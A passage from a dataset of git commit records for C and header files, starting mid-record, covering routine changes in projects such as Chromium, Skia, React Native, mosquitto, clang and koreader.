aux_data)\n    {\n      return\n      { std::move(sample[selected_component]), std::move(aux_data)};\n    }\n\n  }\n}\n\n#endif\n","subject":"Add a component splitter filter.","message":"Add a component splitter filter.\n","lang":"C","license":"lgpl-2.1","repos":"bangerth\/mcmc"}
{"commit":"a9107c562553ccc7310be3774674cbbd77086201","old_file":"core\/include\/cudnn_utility.h","new_file":"core\/include\/cudnn_utility.h","old_contents":"","new_contents":"\/\/ The MIT License (MIT)\n\/\/ \n\/\/ Copyright (c) 2016 Northeastern University\n\/\/ \n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/ \n\/\/ The above copyright notice and this permission notice shall be included in \n\/\/ all copies or substantial portions of the Software.\n\/\/ \n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\n#ifndef CORE_INCLUDE_CUDNN_UTILITY_H_ \n#define CORE_INCLUDE_CUDNN_UTILITY_H_\n\n#include \"cudnn.h\"\n\nnamespace dnnmark {\n\n\n\n} \/\/ namespace dnnmark\n\n#endif \/\/ CORE_INCLUDE_CUDNN_UTILITY_H_\n","subject":"Add one empty header file","message":"Add one empty header file\n","lang":"C","license":"mit","repos":"doody1986\/DNNMark,doody1986\/DNNMark,doody1986\/DNNMark,doody1986\/DNNMark"}
{"commit":"f2adc842293ce4fe889309e16da706f321ff713d","old_file":"bindings\/perl\/Champlain\/champlain-perl.h","new_file":"bindings\/perl\/Champlain\/champlain-perl.h","old_contents":"#ifndef _CHAMPLAIN_PERL_H_\n\n#include <clutter-perl.h>\n\n\n#include <champlain\/champlain.h>\n\n#ifdef CHAMPLAINPERL_GTK\n#include <champlain-gtk\/champlain-gtk.h>\n#endif\n\n\n#include \"champlain-autogen.h\"\n\n#endif \/* _CHAMPLAIN_PERL_H_ *\/\n","new_contents":"#ifndef _CHAMPLAIN_PERL_H_\n\n#include <clutter-perl.h>\n\n\n#include <champlain\/champlain.h>\n\n#ifdef CHAMPLAINPERL_GTK\n#include <gtk2perl.h>\n#include <champlain-gtk\/champlain-gtk.h>\n#endif\n\n\n#include \"champlain-autogen.h\"\n\n#endif \/* _CHAMPLAIN_PERL_H_ *\/\n","subject":"Revert \"Don't include gtk2perl because it redeclares the Pango types\"","message":"Revert \"Don't include gtk2perl because it redeclares the Pango types\"\n\nThis reverts commit 421074211a234119276a6fdbb76d13d9f5bec9a4.\n","lang":"C","license":"lgpl-2.1","repos":"GNOME\/perl-Gtk2-Champlain,PabloCastellano\/libchamplain,potyl\/champlain,PabloCastellano\/libchamplain,PabloCastellano\/libchamplain,PabloCastellano\/libchamplain,PabloCastellano\/libchamplain,GNOME\/libchamplain,StanciuMarius\/Libchamplain-map-wrapping,StanciuMarius\/Libchamplain-map-wrapping,StanciuMarius\/Libchamplain-map-wrapping,Distrotech\/libchamplain,Distrotech\/libchamplain,GNOME\/libchamplain,GNOME\/perl-Gtk2-Champlain,potyl\/champlain,Distrotech\/libchamplain,Distrotech\/libchamplain,GNOME\/perl-Champlain,Distrotech\/libchamplain,potyl\/champlain,GNOME\/perl-Champlain,potyl\/champlain,StanciuMarius\/Libchamplain-map-wrapping,StanciuMarius\/Libchamplain-map-wrapping"}
{"commit":"d32cc52fc99f4e4aafc893e13e0b801f0586cadb","old_file":"chrome\/browser\/ui\/panels\/panel_browser_window_gtk.h","new_file":"chrome\/browser\/ui\/panels\/panel_browser_window_gtk.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n#define CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n\n#include \"chrome\/browser\/ui\/gtk\/browser_window_gtk.h\"\n\nclass Panel;\n\nclass PanelBrowserWindowGtk : public BrowserWindowGtk {\n public:\n  PanelBrowserWindowGtk(Browser* browser, Panel* panel);\n  virtual ~PanelBrowserWindowGtk() {}\n\n  \/\/ BrowserWindowGtk overrides\n  virtual void Init() OVERRIDE;\n\n  \/\/ BrowserWindow overrides\n  virtual void SetBounds(const gfx::Rect& bounds) OVERRIDE;\n\n protected:\n  \/\/ BrowserWindowGtk overrides\n  virtual bool GetWindowEdge(int x, int y, GdkWindowEdge* edge) OVERRIDE;\n  virtual bool HandleTitleBarLeftMousePress(\n      GdkEventButton* event,\n      guint32 last_click_time,\n      gfx::Point last_click_position) OVERRIDE;\n  virtual void SaveWindowPosition() OVERRIDE;\n  virtual void SetGeometryHints() OVERRIDE;\n  virtual bool UseCustomFrame() OVERRIDE;\n\n private:\n  void SetBoundsImpl();\n\n  Panel* panel_;\n  DISALLOW_COPY_AND_ASSIGN(PanelBrowserWindowGtk);\n};\n\n#endif  \/\/ CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n#define CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n\n#include \"chrome\/browser\/ui\/gtk\/browser_window_gtk.h\"\n\nclass Panel;\n\nclass PanelBrowserWindowGtk : public BrowserWindowGtk {\n public:\n  PanelBrowserWindowGtk(Browser* browser, Panel* panel);\n  virtual ~PanelBrowserWindowGtk() {}\n\n  \/\/ BrowserWindowGtk overrides\n  virtual void Init() OVERRIDE;\n\n  \/\/ BrowserWindow overrides\n  virtual void SetBounds(const gfx::Rect& bounds) OVERRIDE;\n\n protected:\n  \/\/ BrowserWindowGtk overrides\n  virtual bool GetWindowEdge(int x, int y, GdkWindowEdge* edge) OVERRIDE;\n  virtual bool HandleTitleBarLeftMousePress(\n      GdkEventButton* event,\n      guint32 last_click_time,\n      gfx::Point last_click_position) OVERRIDE;\n  virtual void SaveWindowPosition() OVERRIDE;\n  virtual void SetGeometryHints() OVERRIDE;\n  virtual bool UseCustomFrame() OVERRIDE;\n\n private:\n  void SetBoundsImpl();\n\n  scoped_ptr<Panel> panel_;\n  DISALLOW_COPY_AND_ASSIGN(PanelBrowserWindowGtk);\n};\n\n#endif  \/\/ CHROME_BROWSER_UI_PANELS_PANEL_BROWSER_WINDOW_GTK_H_\n","subject":"Use scoped_ptr for Panel in PanelBrowserWindowGTK.","message":"Use scoped_ptr for Panel in PanelBrowserWindowGTK.\n\nBUG=None\nTEST=Verified WindowOpenPanel test now hits Panel destructor.\n\nReview URL: http:\/\/codereview.chromium.org\/7120011\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@88154 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"adobe\/chromium,adobe\/chromium,adobe\/chromium,ropik\/chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,yitian134\/chromium,ropik\/chromium,ropik\/chromium,adobe\/chromium,gavinp\/chromium,gavinp\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,adobe\/chromium,gavinp\/chromium,gavinp\/chromium,ropik\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,ropik\/chromium,yitian134\/chromium,yitian134\/chromium"}
{"commit":"3e4aba119168140015b87dfabccd45b4275dcbd8","old_file":"test\/lib\/c\/01-con-discon-success.c","new_file":"test\/lib\/c\/01-con-discon-success.c","old_contents":"#include <stdbool.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <mosquitto.h>\n\nstatic int run = -1;\n\nvoid on_connect(struct mosquitto *mosq, void *obj, int rc)\n{\n\tif(rc){\n\t\texit(1);\n\t}else{\n\t\tmosquitto_disconnect(mosq);\n\t}\n}\n\nvoid on_disconnect(struct mosquitto *mosq, void *obj, int rc)\n{\n\trun = rc;\n}\n\nint main(int argc, char *argv[])\n{\n\tint rc;\n\tstruct mosquitto *mosq;\n\n\tmosq = mosquitto_new(\"01-con-discon-success\", true, NULL);\n\tmosquitto_connect_callback_set(mosq, on_connect);\n\tmosquitto_disconnect_callback_set(mosq, on_disconnect);\n\n\trc = mosquitto_connect(mosq, \"localhost\", 1888, 60);\n\n\twhile(run == -1){\n\t\tmosquitto_loop(mosq, -1);\n\t}\n\n\treturn run;\n}\n","new_contents":"#include <stdbool.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <mosquitto.h>\n\nstatic int run = -1;\n\nvoid on_connect(struct mosquitto *mosq, void *obj, int rc)\n{\n\tif(rc){\n\t\texit(1);\n\t}else{\n\t\tmosquitto_disconnect(mosq);\n\t}\n}\n\nvoid on_disconnect(struct mosquitto *mosq, void *obj, int rc)\n{\n\trun = rc;\n}\n\nint main(int argc, char *argv[])\n{\n\tint rc;\n\tstruct mosquitto *mosq;\n\n\tmosquitto_lib_init();\n\n\tmosq = mosquitto_new(\"01-con-discon-success\", true, NULL);\n\tmosquitto_connect_callback_set(mosq, on_connect);\n\tmosquitto_disconnect_callback_set(mosq, on_disconnect);\n\n\trc = mosquitto_connect(mosq, \"localhost\", 1888, 60);\n\n\twhile(run == -1){\n\t\tmosquitto_loop(mosq, -1);\n\t}\n\n\tmosquitto_lib_cleanup();\n\treturn run;\n}\n","subject":"Call lib init\/cleanup in C client test.","message":"Call lib init\/cleanup in C client test.\n","lang":"C","license":"bsd-3-clause","repos":"zlargon\/mosquitto,zlargon\/mosquitto,zlargon\/mosquitto,zlargon\/mosquitto,zlargon\/mosquitto"}
{"commit":"423355ecbff46ef0dddc5e7a48ae10af2a2d1bea","old_file":"src\/main\/c\/emulator\/src\/config.h","new_file":"src\/main\/c\/emulator\/src\/config.h","old_contents":"#ifndef CONFIG_H\n#define CONFIG_H\n\n\/\/#define QEMU\n#define SIM\n#define OS_CALL 0xC0000000\n#define DTB 0xC3000000\n\n#endif\n","new_contents":"#ifndef CONFIG_H\n#define CONFIG_H\n\n\/\/#define QEMU\n#define SIM\n\n#ifndef OS_CALL\n#define OS_CALL 0xC0000000\n#endif\n\n#ifndef DTB\n#define DTB 0xC3000000\n#endif\n\n#endif\n","subject":"Allow to set custom DTB\/OS_CALL addresses","message":"Allow to set custom DTB\/OS_CALL addresses\n\nSetting those from command line during compilation allows\nto create a custom setup without the need of modifying the\nsources.\n","lang":"C","license":"mit","repos":"SpinalHDL\/VexRiscv,SpinalHDL\/VexRiscv,SpinalHDL\/VexRiscv,SpinalHDL\/VexRiscv,SpinalHDL\/VexRiscv"}
{"commit":"ba7874bd648cf81182d4c36331525fc72944743a","old_file":"include\/config\/SkUserConfigManual.h","new_file":"include\/config\/SkUserConfigManual.h","old_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Staging flags\n  #define SK_LEGACY_PATH_ARCTO_ENDPOINT\n  #define SK_SUPPORT_STROKEANDFILL\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n#endif \/\/ SkUserConfigManual_DEFINED\n","new_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkUserConfigManual_DEFINED\n#define SkUserConfigManual_DEFINED\n  #include <android\/log.h>\n  #define GR_TEST_UTILS 1\n  #define SK_BUILD_FOR_ANDROID_FRAMEWORK\n  #define SK_DEFAULT_FONT_CACHE_LIMIT   (768 * 1024)\n  #define SK_DEFAULT_GLOBAL_DISCARDABLE_MEMORY_POOL_SIZE (512 * 1024)\n  #define SK_USE_FREETYPE_EMBOLDEN\n\n  \/\/ Disable these Ganesh features\n  #define SK_DISABLE_REDUCE_OPLIST_SPLITTING\n  \/\/ Check error is expensive. HWUI historically also doesn't check its allocations\n  #define GR_GL_CHECK_ALLOC_WITH_GET_ERROR 0\n\n  \/\/ Staging flags\n  #define SK_LEGACY_PATH_ARCTO_ENDPOINT\n  #define SK_SUPPORT_STROKEANDFILL\n\n  \/\/ Needed until we fix https:\/\/bug.skia.org\/2440\n  #define SK_SUPPORT_LEGACY_CLIPTOLAYERFLAG\n  #define SK_SUPPORT_LEGACY_EMBOSSMASKFILTER\n  #define SK_SUPPORT_LEGACY_AA_CHOICE\n  #define SK_SUPPORT_LEGACY_AAA_CHOICE\n\n  #define SK_DISABLE_DAA  \/\/ skbug.com\/6886\n\n  #ifdef LOG_TAG\n    #undef LOG_TAG\n  #endif\n  #define LOG_TAG \"skia\"\n  #define SK_ABORT(...) __android_log_assert(nullptr, LOG_TAG, ##__VA_ARGS__)\n#endif \/\/ SkUserConfigManual_DEFINED\n","subject":"Print the message from SK_ABORT in stack traces","message":"Print the message from SK_ABORT in stack traces\n\nThis will make debugging easier. Instead of using LOG_ALWAYS_FATAL, use\n__android_log_assert (which the former uses internally) directly, since\nSkQP can only access NDK APIs.\n\nDepends on https:\/\/skia-review.googlesource.com\/c\/skia\/+\/521001.\n\nBug: 224771432\nTest: manual\nChange-Id: Ib9bec1e1d72169a18e6ad1ce8f9008a65dbe5a71\n","lang":"C","license":"bsd-3-clause","repos":"aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia"}
{"commit":"a451476a98df41bf57a658d7d532e10c25158ea9","old_file":"Reducers\/REDIterable.h","new_file":"Reducers\/REDIterable.h","old_contents":"\/\/  Copyright (c) 2014 Rob Rix. All rights reserved.\n\n#import <Foundation\/Foundation.h>\n\n@protocol REDIterable <NSObject>\n\n@property (readonly) id(^red_iterator)(void);\n\n@end\n","new_contents":"\/\/  Copyright (c) 2014 Rob Rix. All rights reserved.\n\n#import <Foundation\/Foundation.h>\n\n\/\/\/ A nullary block iterating the elements of a collection over successive calls.\n\/\/\/\n\/\/\/ \\return The next object in the collection, or nil if it has iterated the entire collection.\ntypedef id (^REDIteratingBlock)(void);\n\n\/\/\/ A collection which can be iterated.\n@protocol REDIterable <NSObject>\n\n\/\/\/ An iterator for this collection.\n@property (readonly) REDIteratingBlock red_iterator;\n\n@end\n","subject":"Add a typedef for iterators.","message":"Add a typedef for iterators.\n","lang":"C","license":"mit","repos":"policp\/Reducers,robrix\/Reducers"}
{"commit":"41acb0a75b1ed5b4cf2feb74c64113a06a284e85","old_file":"React\/Fabric\/RCTFabricPlatformUIOperationManager.h","new_file":"React\/Fabric\/RCTFabricPlatformUIOperationManager.h","old_contents":"\/**\n * Copyright (c) 2015-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#import <Foundation\/Foundation.h>\n#import <UIKit\/UIKit.h>\n\n#import <memory>\n\n#include <fabric\/IFabricPlatformUIOperationManager.h>\n\n@class RCTFabricPlatformUIOperationManager;\n\nnamespace facebook {\nnamespace react {\n\n\/**\n * Connector class (from C++ to ObjC++) to allow FabricUIManager to invoke native UI operations\/updates.\n * UIKit-related impl doesn't live here, but this class gets passed to the FabricUIManager C++ impl directly.\n *\/\nclass RCTFabricPlatformUIOperationManagerConnector : public IFabricPlatformUIOperationManager {\npublic:\n  RCTFabricPlatformUIOperationManagerConnector();\n  ~RCTFabricPlatformUIOperationManagerConnector();\n\n  void performUIOperation();\n\nprivate:\n  void *self_;\n  RCTFabricPlatformUIOperationManager *manager_;\n};\n\n} \/\/ namespace react\n} \/\/ namespace facebook\n\n\/**\n * Actual ObjC++ implementation of the UI operations.\n *\/\n@interface RCTFabricPlatformUIOperationManager : NSObject\n\n- (void)performUIOperation;\n\n@end\n","new_contents":"\/**\n * Copyright (c) 2015-present, Facebook, Inc.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#import <Foundation\/Foundation.h>\n#import <UIKit\/UIKit.h>\n\n#import <memory>\n\n#include <fabric\/IFabricPlatformUIOperationManager.h>\n\n@class RCTFabricPlatformUIOperationManager;\n\nnamespace facebook {\nnamespace react {\n\n\/**\n * Connector class (from C++ to ObjC++) to allow FabricUIManager to invoke native UI operations\/updates.\n * UIKit-related impl doesn't live here, but this class gets passed to the FabricUIManager C++ impl directly.\n *\/\nclass RCTFabricPlatformUIOperationManagerConnector : public IFabricPlatformUIOperationManager {\npublic:\n  RCTFabricPlatformUIOperationManagerConnector();\n  virtual ~RCTFabricPlatformUIOperationManagerConnector();\n\n  void performUIOperation();\n\nprivate:\n  void *self_;\n  RCTFabricPlatformUIOperationManager *manager_;\n};\n\n} \/\/ namespace react\n} \/\/ namespace facebook\n\n\/**\n * Actual ObjC++ implementation of the UI operations.\n *\/\n@interface RCTFabricPlatformUIOperationManager : NSObject\n\n- (void)performUIOperation;\n\n@end\n","subject":"Fix clang-6 compile error (virtual destructor)","message":"Fix clang-6 compile error (virtual destructor)\n\nReviewed By: smeenai\n\nDifferential Revision: D7264312\n\nfbshipit-source-id: f0567452127ceba6cfa13d05bb2a00a5af7aac05\n","lang":"C","license":"mit","repos":"myntra\/react-native,javache\/react-native,hoangpham95\/react-native,facebook\/react-native,facebook\/react-native,exponentjs\/react-native,javache\/react-native,facebook\/react-native,janicduplessis\/react-native,javache\/react-native,exponent\/react-native,myntra\/react-native,hoangpham95\/react-native,hammerandchisel\/react-native,myntra\/react-native,hammerandchisel\/react-native,exponentjs\/react-native,janicduplessis\/react-native,hammerandchisel\/react-native,arthuralee\/react-native,exponent\/react-native,hammerandchisel\/react-native,javache\/react-native,arthuralee\/react-native,hammerandchisel\/react-native,janicduplessis\/react-native,janicduplessis\/react-native,myntra\/react-native,pandiaraj44\/react-native,exponentjs\/react-native,myntra\/react-native,pandiaraj44\/react-native,myntra\/react-native,facebook\/react-native,hoangpham95\/react-native,pandiaraj44\/react-native,exponent\/react-native,exponentjs\/react-native,javache\/react-native,arthuralee\/react-native,facebook\/react-native,exponentjs\/react-native,arthuralee\/react-native,exponentjs\/react-native,exponent\/react-native,myntra\/react-native,myntra\/react-native,hoangpham95\/react-native,myntra\/react-native,exponent\/react-native,javache\/react-native,exponent\/react-native,facebook\/react-native,pandiaraj44\/react-native,arthuralee\/react-native,pandiaraj44\/react-native,javache\/react-native,javache\/react-native,facebook\/react-native,hammerandchisel\/react-native,pandiaraj44\/react-native,hoangpham95\/react-native,javache\/react-native,exponent\/react-native,exponentjs\/react-native,janicduplessis\/react-native,hammerandchisel\/react-native,hoangpham95\/react-native,exponent\/react-native,facebook\/react-native,exponentjs\/react-native,facebook\/react-native,hoangpham95\/react-native,hammerandchisel\/react-native,janicduplessis\/react-native,hoangpham95\/react-native,pandiaraj44\/react-native,janicduplessis\/react-native,pandiaraj44\/react-native,janicduplessis\/react-native"}
{"commit":"6a989a7bb29ee5a16b6b059b61581cdc9458f765","old_file":"main.c","new_file":"main.c","old_contents":"\/\/ Copyright 2016, Jeffrey E. Bedard\n\n#include \"xstatus.h\"\n#include \"config.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nstatic const char helptext[] =\n\"DESCRIPTION:  Simple X toolbar for minimalistic\"\n\" window managers.\\n\"\n\"USAGE: xstatus [-d DELAY][-f FILE][-h]\\n\"\n\"\\t-d DELAY     Set delay between status updates,\"\n\" in seconds.\\n\"\n\"\\t-f FILE      Set FILE to be continuously polled and\"\n\" displayed.\\n\"\n\"\\t-h           Print this usage information.  \\n\"\n\"Copyright 2016, Jeffrey E. Bedard <jefbed@gmail.com>\\n\"\n\"Project page:  https:\/\/github.com\/jefbed\/xstatus\\n\";\n\nint main(int argc, char ** argv)\n{\n\tchar *filename=XSTATUS_STATUS_FILE;\n\tuint8_t delay=1;\n\tint opt;\n\twhile((opt = getopt(argc, argv, \"d:f:h\")) != -1) {\n\t\tswitch(opt) {\n\t\tcase 'd':\n\t\t\tdelay=atoi(optarg);\n\t\t\tbreak;\n\t\tcase 'f':\n\t\t\tfilename=optarg;\n\t\t\tbreak;\n\t\tcase 'h':\n\t\tdefault:\n\t\t\twrite(2, helptext, sizeof(helptext));\n\t\t\texit(0);\n\t\t}\n\t}\n\trun_xstatus(filename, delay);\n}\n\n","new_contents":"\/\/ Copyright 2016, Jeffrey E. Bedard\n\n#include \"xstatus.h\"\n#include \"config.h\"\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n\nstatic const char helptext[] =\n\"DESCRIPTION:  Simple X toolbar for minimalistic\"\n\" window managers.\\n\"\n\"USAGE: xstatus [-d DELAY][-f FILE][-h]\\n\"\n\"\\t-d DELAY\\tSet delay between status updates,\"\n\" in seconds.\\n\"\n\"\\t-f FILE\\t\\tSet FILE to be continuously polled and\"\n\" displayed.\\n\"\n\"\\t-h\\t\\tPrint this usage information.\\n\"\n\"Copyright 2016, Jeffrey E. Bedard <jefbed@gmail.com>\\n\"\n\"Project page:  https:\/\/github.com\/jefbed\/xstatus\\n\";\n\nint main(int argc, char ** argv)\n{\n\tchar *filename=XSTATUS_STATUS_FILE;\n\tuint8_t delay=1;\n\tint opt;\n\twhile((opt = getopt(argc, argv, \"d:f:h\")) != -1) {\n\t\tswitch(opt) {\n\t\tcase 'd':\n\t\t\tdelay=atoi(optarg);\n\t\t\tbreak;\n\t\tcase 'f':\n\t\t\tfilename=optarg;\n\t\t\tbreak;\n\t\tcase 'h':\n\t\tdefault:\n\t\t\twrite(2, helptext, sizeof(helptext));\n\t\t\texit(0);\n\t\t}\n\t}\n\trun_xstatus(filename, delay);\n}\n\n","subject":"Use tab characters in help text.","message":"Use tab characters in help text.\n","lang":"C","license":"mit","repos":"jefbed\/xstatus,jefbed\/xstatus,jefbed\/xstatus,jefbed\/xstatus"}
{"commit":"241540eb1c46593a93870e20efe6a694444b5f47","old_file":"test\/Sema\/overloadable-complex.c","new_file":"test\/Sema\/overloadable-complex.c","old_contents":"","new_contents":"\/\/ RUN: clang -fsyntax-only -verify %s\nchar *foo(float) __attribute__((__overloadable__)); \/\/ expected-note 3 {{candidate function}}\n\nvoid test_foo_1(float fv, double dv, float _Complex fc, double _Complex dc) {\n  char *cp1 = foo(fv);\n  char *cp2 = foo(dv);\n  \/\/ Note: GCC and EDG reject these two, but they are valid C99 conversions\n  char *cp3 = foo(fc);\n  char *cp4 = foo(dc);\n}\n\nint *foo(float _Complex) __attribute__((__overloadable__)); \/\/ expected-note 3 {{candidate function}}\n\nvoid test_foo_2(float fv, double dv, float _Complex fc, double _Complex dc) {\n  char *cp1 = foo(fv);\n  char *cp2 = foo(dv); \/\/ expected-error{{call to 'foo' is ambiguous; candidates are:}}\n  int *ip = foo(fc);\n  int *lp = foo(dc); \/\/ expected-error{{call to 'foo' is ambiguous; candidates are:}}\n}\n\nlong *foo(double _Complex) __attribute__((__overloadable__)); \/\/ expected-note {{candidate function}}\n\nvoid test_foo_3(float fv, double dv, float _Complex fc, double _Complex dc) {\n  char *cp1 = foo(fv);\n  char *cp2 = foo(dv); \/\/ expected-error{{call to 'foo' is ambiguous; candidates are:}}\n  int *ip = foo(fc);\n  long *lp = foo(dc);\n}\n\nchar *promote_or_convert(double _Complex) __attribute__((__overloadable__));  \/\/ expected-note 2 {{candidate function}}\nint *promote_or_convert(long double _Complex) __attribute__((__overloadable__)); \/\/ expected-note 2 {{candidate function}} \n\nvoid test_promote_or_convert(float f, float _Complex fc) {\n  char *cp = promote_or_convert(fc); \/\/ expected-error{{call to 'promote_or_convert' is ambiguous; candidates are:}}\n  int *ip2 = promote_or_convert(f); \/\/ expected-error{{call to 'promote_or_convert' is ambiguous; candidates are:}}\n}\n\nchar *promote_or_convert2(float) __attribute__((__overloadable__));\nint *promote_or_convert2(double _Complex) __attribute__((__overloadable__));\n\nvoid test_promote_or_convert2(float _Complex fc) {\n  int *cp = promote_or_convert2(fc);\n}\n\nchar *promote_or_convert3(int _Complex) __attribute__((__overloadable__));\nint *promote_or_convert3(long _Complex) __attribute__((__overloadable__));\n\nvoid test_promote_or_convert3(short _Complex sc) {\n  char *cp = promote_or_convert3(sc);\n}\n","subject":"Add test for overloading with _Complex in C","message":"Add test for overloading with _Complex in C\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@64347 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"d8f546320062c3c8848c1d50bf6a7e8ab3a673b0","old_file":"ffi-cdecl\/mxcfb_kobo_decl.c","new_file":"ffi-cdecl\/mxcfb_kobo_decl.c","old_contents":"\/\/ standard Linux framebuffer headers\n#include <linux\/fb.h>\n\n#include <linux\/ioctl.h>\n\/\/ specialized eink framebuffer headers\ntypedef unsigned int uint;\n#include \"include\/mxcfb-kobo.h\"\n\n#include \"cdecl.h\"\n\ncdecl_struct(mxcfb_rect)\ncdecl_struct(mxcfb_alt_buffer_data)\ncdecl_struct(mxcfb_update_data)\n\ncdecl_const(MXCFB_SEND_UPDATE)\n\n","new_contents":"\/\/ standard Linux framebuffer headers\n#include <linux\/fb.h>\n\n#include <linux\/ioctl.h>\n\/\/ specialized eink framebuffer headers\ntypedef unsigned int uint;\n#include \"include\/mxcfb-kobo.h\"\n\n#include \"cdecl.h\"\n\ncdecl_struct(mxcfb_rect)\ncdecl_struct(mxcfb_alt_buffer_data)\ncdecl_struct(mxcfb_update_data)\n\ncdecl_const(MXCFB_SEND_UPDATE)\n\n\/* Might come in handy one day... *\/\ncdecl_const(MXCFB_WAIT_FOR_UPDATE_COMPLETE)\n\n\/* Aura *\/\ncdecl_struct(mxcfb_update_data_org)\n\ncdecl_const(MXCFB_SEND_UPDATE_ORG)\n\n","subject":"Tweak the kobo mxcfb cdecl","message":"Tweak the kobo mxcfb cdecl\n","lang":"C","license":"agpl-3.0","repos":"frankyifei\/koreader-base,apletnev\/koreader-base,NiLuJe\/koreader-base,Hzj-jie\/koreader-base,houqp\/koreader-base,houqp\/koreader-base,Hzj-jie\/koreader-base,NiLuJe\/koreader-base,NiLuJe\/koreader-base,frankyifei\/koreader-base,Hzj-jie\/koreader-base,Hzj-jie\/koreader-base,Frenzie\/koreader-base,apletnev\/koreader-base,koreader\/koreader-base,houqp\/koreader-base,koreader\/koreader-base,houqp\/koreader-base,apletnev\/koreader-base,Frenzie\/koreader-base,frankyifei\/koreader-base,frankyifei\/koreader-base,koreader\/koreader-base,NiLuJe\/koreader-base,Frenzie\/koreader-base,koreader\/koreader-base,Frenzie\/koreader-base,apletnev\/koreader-base"}
